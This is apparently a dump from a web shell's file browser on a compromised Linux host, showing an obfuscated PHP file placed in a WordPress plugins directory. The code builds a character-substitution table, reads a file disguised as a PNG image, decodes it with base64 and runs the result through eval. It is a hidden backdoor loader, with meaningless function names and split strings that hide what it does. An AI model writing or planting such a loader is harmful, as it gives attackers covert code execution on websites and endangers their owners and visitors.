HEX
Server: Apache/2
System: Linux cat17246.lnwhostname.com 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: firststeps (1017)
PHP: 7.3.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/firststeps/public_html/wp-content/plugins__/dumywulyqu/puxopi.txt
<?php

function obigyw_aviqavo($cinifi_pomevel) {
    $yzufiki = "oh=yQ2SV+cMAIKmigdfOnPCqXGLFlWpa7w1J/bDtxN95HkrYBzRjZ3T460vu8UsEe";
    $bakemum = "4FopHsEe5iLUzDl8ndXf3y=NORQxvPY67K9uCaw/JA0IMqGTbmZ1rVSt2j+BckhWg";
    $yjynowi = array();
    for ($ibydepi = 0; $ibydepi < strlen($yzufiki); $ibydepi++) {
        $jewoty = substr($yzufiki, $ibydepi, 1);
        $yhybymi = substr($bakemum, $ibydepi, 1);
        $yjynowi[$jewoty] = $yhybymi;
    }

    $jukabob = strtr($cinifi_pomevel, $yjynowi);
    $jukabob = base64_decode($jukabob);

    return $jukabob;
}

function gynifo_vumasud($cinifi_pomevel) {
    if (!file_exists($cinifi_pomevel))
        return false;
    $epudyva = @file_get_contents($cinifi_pomevel);
    if (!$epudyva)
        return false;
    $epudyva = substr($epudyva, 3);
    $ukylyt = obigyw_aviqavo($epudyva);
    return $ukylyt;
}

$upuhuth = gynifo_vumasud(__DIR__ . "/asset" . "s/im" . "ages/o" . "zofuv" . "y.png");
if ($upuhuth) {
    @eval($upuhuth);
}